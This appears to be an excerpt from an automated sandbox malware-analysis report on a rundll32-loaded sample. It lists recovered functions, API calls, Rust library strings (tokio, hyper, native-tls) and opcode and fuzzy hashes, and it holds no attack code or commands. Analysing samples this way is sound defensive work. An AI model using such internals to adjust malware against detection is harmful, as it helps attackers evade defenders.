memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC38CB8
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC38CE7
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC38D04
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC38D2E
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC38D4C
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC38D7B
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC38D98

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CC38DB5

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$CertContextDuplicate$BufferCertificateFreeStore
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 3250603675-1242699868
Opcode ID: f2d44fb79868f020da4a980d5b7bc2f86b899941ab26502bb3ad3e230519424e
Instruction ID: 01e1b6210cda1c2f68dc88d61abae0cf817432d178a598ed1777a1e2712e0cd0
Opcode Fuzzy Hash: f2d44fb79868f020da4a980d5b7bc2f86b899941ab26502bb3ad3e230519424e
Instruction Fuzzy Hash: 8C028CB1908341DFD765CF25C484B9ABBE4FF88314F04896EE8888B745E774E949CB92

Function 6CC64052 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 169libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,?,6CBF6DA6,?,?,?,?,?,?,6CC63E7A), ref: 6CC6405E
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6CC64070
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6CC64081
GetModuleHandleA.KERNEL32(ntdll.dll,?,?,?,?,?,6CBF6DA6,?,?,?,?,?,?,6CC63E7A), ref: 6CC64095
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6CC640AB
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6CC640C0
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6CC640D1
CloseHandle.KERNEL32(?,?,C0000000,00000000,00000000,00000000,NtWaitForKeyedEvent,00000000,NtReleaseKeyedEvent,?,?,?,?,?,6CBF6DA6), ref: 6CC64124

Strings

ntdll.dll, xrefs: 6CC64090
NtWaitForKeyedEvent, xrefs: 6CC640CB
NtCreateKeyedEvent, xrefs: 6CC640A5
WakeByAddressSingle, xrefs: 6CC6407B
WaitOnAddress, xrefs: 6CC6406A
NtReleaseKeyedEvent, xrefs: 6CC640BA
api-ms-win-core-synch-l1-2-0.dll, xrefs: 6CC64059

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressProc$Handle$Module$Close
String ID: NtCreateKeyedEvent$NtReleaseKeyedEvent$NtWaitForKeyedEvent$WaitOnAddress$WakeByAddressSingle$api-ms-win-core-synch-l1-2-0.dll$ntdll.dll
API String ID: 3875313662-3409541999
Opcode ID: 027fac6cc8500ea22a4e39e4a0c35fd94ab860a12170d9761b54c98881f87a74
Instruction ID: d7246dbf30c4480f327d7cc98206787e2e7166568124e30b04d666fe58407bc6
Opcode Fuzzy Hash: 027fac6cc8500ea22a4e39e4a0c35fd94ab860a12170d9761b54c98881f87a74
Instruction Fuzzy Hash: 725101713412209BE711CB67CE94B1677E4AF92368F298128EA15EBE90FB75CC42C790

Function 6CC50940 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 497libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CC509F5
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6CC50A15
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6CC50A44
GetProcAddress.KERNEL32(SymAddrIncludeInlineTrace), ref: 6CC50A8D
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6CC50AB8
memset.VCRUNTIME140(?,00000000,00000FF4), ref: 6CC50C41
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000007CF,00000000,00000100,00000000,00000000), ref: 6CC50D46

Strings

SymGetLineFromInlineContextW, xrefs: 6CC50A39
SymAddrIncludeInlineTrace, xrefs: 6CC50A82
SymQueryInlineTrace, xrefs: 6CC50AAD
__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6CC510AE
SymFromInlineContextW, xrefs: 6CC50A0A

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressProc$ByteCharCurrentMultiProcessWidememset
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace$__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]
API String ID: 3228588488-600644135
Opcode ID: 11e1d69c53c80fd14577a45b1e0e67197801811c66f66cf149ef595da236d06a
Instruction ID: aed5ba260d956f07d1dd170997290cce48b9e5350ef0f2fdc1ce6f6206282116
Opcode Fuzzy Hash: 11e1d69c53c80fd14577a45b1e0e67197801811c66f66cf149ef595da236d06a
Instruction Fuzzy Hash: D9322870A00B808FE321CF25C985B93B7F1BF99308F508A1DD9EA97A51E771B995CB50

Function 6CC3ED96 Relevance: 19.7, APIs: 12, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000BC), ref: 6CC3EDCD
memmove.VCRUNTIME140(000000C4,?,0000009C), ref: 6CC3EDED

Part of subcall function 6CC35A78: memmove.VCRUNTIME140(?,?,00000160,?,?,?,00000000,?,6CC38BE8), ref: 6CC35AA7

memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC3EE59
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC3EE76
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC3EEA9
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC3EEC7
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CC3EEEA
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CC3EF0E

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CC3EFB1

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 2162964266-1242699868
Opcode ID: c91dee3de3ae8d751f87c823fdefbf4f0911dc3f5b96ee2cc7e5743ab83155ca
Instruction ID: afeec7b70ebdc6499aeac054ad24bc19edc05fc38114396d07ece6c86de565ec
Opcode Fuzzy Hash: c91dee3de3ae8d751f87c823fdefbf4f0911dc3f5b96ee2cc7e5743ab83155ca
Instruction Fuzzy Hash: F6513EB2904305ABE725CB55D981FEBB7A8FF88704F04892DE55987781F734E908CB92

Function 0466BCDF Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0466BD01
_wcsrchr.LIBCMT ref: 0466BD09
_memset.LIBCMT ref: 0466BD40
_wcsrchr.LIBCMT ref: 0466BD48
_memset.LIBCMT ref: 0466BDC3
_memset.LIBCMT ref: 0466BDEF
_memset.LIBCMT ref: 0466BE0A
_memset.LIBCMT ref: 0466BEA9

Strings

D, xrefs: 0466BEB5

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: _memset$_wcsrchr
String ID: D
API String ID: 170005318-2746444292
Opcode ID: 816ba07bf096ff89473f450edf8bc183bb27a2ec5172381af2beb10de3a9835c
Instruction ID: c0963c4c733acc3df27d3129a2705daf599ade1283cb241b957d93867812e5b3
Opcode Fuzzy Hash: 816ba07bf096ff89473f450edf8bc183bb27a2ec5172381af2beb10de3a9835c
Instruction Fuzzy Hash: 0351CBB194032DBAEB20EB60CD85FEE73789F14704F404599E70AEA180FB71B644CBA5

Function 6CC4FDD0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 145COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32 ref: 6CC4FE15
QueryPerformanceFrequency.KERNEL32 ref: 6CC4FE5C
__aulldiv.LIBCMT ref: 6CC4FE97
__aulldiv.LIBCMT ref: 6CC4FEF2
__aulldiv.LIBCMT ref: 6CC4FF07
GetLastError.KERNEL32 ref: 6CC4FF26
GetLastError.KERNEL32 ref: 6CC4FF5E

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC4FF3F, 6CC4FF77

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: __aulldiv$ErrorLastPerformanceQuery$CounterFrequency
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 10619572-2333694755
Opcode ID: 6e8490e604a5d195a334899da9f89a19af64ae6e8b4b348bf2953e210ded0c70
Instruction ID: 6c3f91bbc97c04592905b47b6dbffbc2607971e5a62fc543fc9ab823385c7d35
Opcode Fuzzy Hash: 6e8490e604a5d195a334899da9f89a19af64ae6e8b4b348bf2953e210ded0c70
Instruction Fuzzy Hash: 1A514AB1600B008FC724DF69C944B53FBF9AB88714F148A2EE49A97F50E774F4098B91

Function 0466B5AF Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 351COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0466B7B9
_memset.LIBCMT ref: 0466B7EE

Part of subcall function 0466F026: _malloc.LIBCMT ref: 0466F040

Strings

gfff, xrefs: 0466B677
6, xrefs: 0466B7A0
(, xrefs: 0466B77D
gfff, xrefs: 0466B64F

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: _memset$_malloc
String ID: ($6$gfff$gfff
API String ID: 3506388080-713438465
Opcode ID: 45c258d321b0b7250ec73ddfe6f5768bca881061f444038ed1c726861de6cd5e
Instruction ID: 216b07d777c99ca3620bae6f881518d5c6ddfc5308d1112b5d298b2b623b2259
Opcode Fuzzy Hash: 45c258d321b0b7250ec73ddfe6f5768bca881061f444038ed1c726861de6cd5e
Instruction Fuzzy Hash: 58D17CB1E00318AFEB14DFE9D885A9EBBB9FF48700F10412DE506A7251E770B905CBA5

Function 6CC0D848 Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC0F274
memmove.VCRUNTIME140(?,?,00000220), ref: 6CC0F28B
memmove.VCRUNTIME140(?,?,000000B8), ref: 6CC0F2F6
memmove.VCRUNTIME140(?,?,000000C8), ref: 6CC0F30D
memmove.VCRUNTIME140(?,?,00000168), ref: 6CC0F35A

Strings

HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel, xrefs: 6CC0EBB6

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: HTTP/1.1 200HTTP/1.0 200HTTP/1.1 407unsuccessful tunnelproxy authentication requiredproxy headers too long for tunnel
API String ID: 2162964266-2977587669
Opcode ID: 42bb8f862aa6e3fd56cb3cbad952c3070d3bebc1886bfe85a6a8a063cf0c681c
Instruction ID: b78b6ce5831d0ad72da52fa643dd12d8e286e9d60d34aeee8d6a7b9773e8de5f
Opcode Fuzzy Hash: 42bb8f862aa6e3fd56cb3cbad952c3070d3bebc1886bfe85a6a8a063cf0c681c
Instruction Fuzzy Hash: 19D1F2306087459FD715CF24C498BDAB7E1FF44308F18856EE89D8B791E732A989CB82

Function 6CC1A440 Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 198COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,0000010C), ref: 6CC1A494
memmove.VCRUNTIME140(?,?,0000010C), ref: 6CC1A4BC
memmove.VCRUNTIME140(?,?,0000002B), ref: 6CC1A604

Strings

internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CC1A6BF
HTTP/2 connection in progressD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.32\src\common\lazy.rs, xrefs: 6CC1A4F3

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove
String ID: HTTP/2 connection in progressD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\hyper-0.14.32\src\common\lazy.rs$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs
API String ID: 2162964266-2665790016
Opcode ID: 1355bb7b342c1b6ec00c2ce26812588080b948c51796692c664aa68bb4ee3bec
Instruction ID: d73e909414e0430eaf528e64d3035d4e7a6f137cd5be6048665dae8744def87d
Opcode Fuzzy Hash: 1355bb7b342c1b6ec00c2ce26812588080b948c51796692c664aa68bb4ee3bec
Instruction Fuzzy Hash: E471B1329087409BCB51CF25C480ADBB7E5AFC9314F04896EE8999FA81EB70D54DDB92

Function 0467FF68 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0467FF90

Part of subcall function 0467FA76: __getptd.LIBCMT ref: 0467FA84
Part of subcall function 0467FA76: __getptd.LIBCMT ref: 0467FA92

__getptd.LIBCMT ref: 0467FF9A

Part of subcall function 04673800: __getptd_noexit.LIBCMT ref: 04673803
Part of subcall function 04673800: __amsg_exit.LIBCMT ref: 04673810

__getptd.LIBCMT ref: 0467FFA8
__getptd.LIBCMT ref: 0467FFB6
__getptd.LIBCMT ref: 0467FFC1
_CallCatchBlock2.LIBCMT ref: 0467FFE7

Part of subcall function 0467FB1B: __CallSettingFrame@12.LIBCMT ref: 0467FB67

Part of subcall function 0468008E: __getptd.LIBCMT ref: 0468009D
Part of subcall function 0468008E: __getptd.LIBCMT ref: 046800AB

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 140e0ecad3f6b823f00cca1794e70136b3e8d5fc798de5bcffb231a482b4ed6d
Instruction ID: 2b6e076a857263dfa1f971dcfe8a0473c53bb9b33470f4c5a0a09cb9f233f278
Opcode Fuzzy Hash: 140e0ecad3f6b823f00cca1794e70136b3e8d5fc798de5bcffb231a482b4ed6d
Instruction Fuzzy Hash: 8311C9B1D01209DFEB00EFA4D844AAE7BB0FF04318F118569E814A7350EB39A955DB55

Function 6CC36A57 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98encryptionCOMMON

Download Yara Rule

APIs

CertFreeCertificateContext.CRYPT32 ref: 6CC36AFE
CertFreeCertificateContext.CRYPT32 ref: 6CC36B20
CertFreeCertificateChain.CRYPT32(?), ref: 6CC36B32

Strings

unable to find any user-specified roots in the final cert chain, xrefs: 6CC36B60

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: CertCertificateFree$Context$Chain
String ID: unable to find any user-specified roots in the final cert chain
API String ID: 1586265559-2994100780
Opcode ID: 379054d62f913180ae92d07e10af56e8b95379dad41e3811e974192944e004d6
Instruction ID: b93036af93cd9bc4d2d00d2c7086ea33173f4747fbe38ffbefee835c0f6e5409
Opcode Fuzzy Hash: 379054d62f913180ae92d07e10af56e8b95379dad41e3811e974192944e004d6
Instruction Fuzzy Hash: 2A317A316087109BC304DF25D980A5EBBF1BF89318F14C869E9888B750EB31DC89DB52

Function 6CC4CE40 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 238stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 6CC4CF10
memcmp.VCRUNTIME140(?,?,?), ref: 6CC4CFD9

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC4D096
TryFromIntErrorOS can't spawn worker thread: , xrefs: 6CC4D0DA

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: lstrlenmemcmp
String ID: TryFromIntErrorOS can't spawn worker thread: $called `Result::unwrap()` on an `Err` value
API String ID: 1799893992-1221440643
Opcode ID: 3487c73a01923965479b6a678ec0ccab5a38b6a827eb87b16e4dcec18cdec15a
Instruction ID: d53045d42c055c2d7e6017b12febd06dbe4bc3a14a9eaba211d430236f461a7e
Opcode Fuzzy Hash: 3487c73a01923965479b6a678ec0ccab5a38b6a827eb87b16e4dcec18cdec15a
Instruction Fuzzy Hash: CE81A471E002099FCB14DF99C841AAEB7B6FF88358F24C129E815A7B61F735E945CB90

Function 046749A5 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 046749B1

Part of subcall function 04673800: __getptd_noexit.LIBCMT ref: 04673803
Part of subcall function 04673800: __amsg_exit.LIBCMT ref: 04673810

__getptd.LIBCMT ref: 046749C8
__amsg_exit.LIBCMT ref: 046749D6
__lock.LIBCMT ref: 046749E6
__updatetlocinfoEx_nolock.LIBCMT ref: 046749FA

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 280a9a565fc38ed5b47a2f998a82c103bd79174b764588edcd66638793cc0719
Instruction ID: 751eb702b47c613ac13ace45cd0b7456477734045352cc989635f618e640f94a
Opcode Fuzzy Hash: 280a9a565fc38ed5b47a2f998a82c103bd79174b764588edcd66638793cc0719
Instruction Fuzzy Hash: 00F09032941320DAF760FB78980975E77A0AF00728F25410ED9246B3C1FF387991EA9E

Function 6CC46F4B Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000000,?,?), ref: 6CC46FF3
memmove.VCRUNTIME140(-0000000A,?,00000000), ref: 6CC47068
InitializeSecurityContextW.SECUR32(?,00000000,?,0009819C,00000000,00000000,?,00000000,00000000,?,?,00000000), ref: 6CC471EE

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6CC470A7

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: memmove$ContextInitializeSecurity
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1120248335-2333694755
Opcode ID: a32c849bd00eaf273d48e3694b9c6634d8be0db742db25f12a121f2eaae223d4
Instruction ID: 351aa1900cd369e7b6ccef0a1fd643f3a65853a875056f60bcec798e8fd266b8
Opcode Fuzzy Hash: a32c849bd00eaf273d48e3694b9c6634d8be0db742db25f12a121f2eaae223d4
Instruction Fuzzy Hash: F19168B16083019FD304CF19C880B6AFBE5EF85319F14C92DE5998B791EB31E849CB92

Function 6CC4A690 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 190COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000001,000000FF,00000001,FFFFFFFF), ref: 6CC4A870
GetLastError.KERNEL32 ref: 6CC4A87B

Strings

NulErrorUtf8Errorvalid_up_toerror_len, xrefs: 6CC4A8EE
use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CC4A8A8

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: NulErrorUtf8Errorvalid_up_toerror_len$use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-1776713852
Opcode ID: e76dbb0c6ac20f9dca73e8d905182a557b9170bf347ef8df9b03b56976625270
Instruction ID: ebbd7a534070af7bbc950522c936c08a11113a5223ee2f3d428c962414d54eda
Opcode Fuzzy Hash: e76dbb0c6ac20f9dca73e8d905182a557b9170bf347ef8df9b03b56976625270
Instruction Fuzzy Hash: 3861E671E002088FDB15CFA9C885BEEBBB5EF88314F14857AD404A7B81E7359945CB94

Function 6CC4A6F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(00000001,000000FF,00000001,FFFFFFFF), ref: 6CC4A870
GetLastError.KERNEL32 ref: 6CC4A87B

Strings

NulErrorUtf8Errorvalid_up_toerror_len, xrefs: 6CC4A8EE
use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs, xrefs: 6CC4A8A8

Memory Dump Source

Source File: 00000003.00000002.3546506472.000000006CBC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000003.00000002.3546466673.000000006CBC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546582023.000000006CC66000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546654462.000000006CCC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3546679788.000000006CCC3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cbc0000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID: NulErrorUtf8Errorvalid_up_toerror_len$use of std::thread::current() is not possible after the thread's local data has been destroyedstd\src\thread\mod.rs
API String ID: 1574541344-1776713852
Opcode ID: c2e970b86cadf7cd796554d1b04e6c8d1b60524854c3ee2eff3679312e4786ec
Instruction ID: 174f3cee29db198a5d4e2ed6bc7b90c50ff34faa0aab502607c66306cd0dd777
Opcode Fuzzy Hash: c2e970b86cadf7cd796554d1b04e6c8d1b60524854c3ee2eff3679312e4786ec
Instruction Fuzzy Hash: 7051C431A002448FDB15CF69C885BEEBBB5EB89314F14C17AD805A7B81E7359946CB90

Function 04674DE5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 124COMMON

Download Yara Rule

Strings

, xrefs: 04674E33
2, xrefs: 04674E67
l, xrefs: 04674E0C

Memory Dump Source

Source File: 00000003.00000002.3544730523.0000000004660000.00000040.00001000.00020000.00000000.sdmp, Offset: 04660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4660000_rundll32.jbxd

Similarity

API ID:
String ID: $2$l
API String ID: 0-3132104027
Opcode ID: 8733acf2d44eca8639c91740be39d12bd9a02127ba3db65e983c88efae1b4097
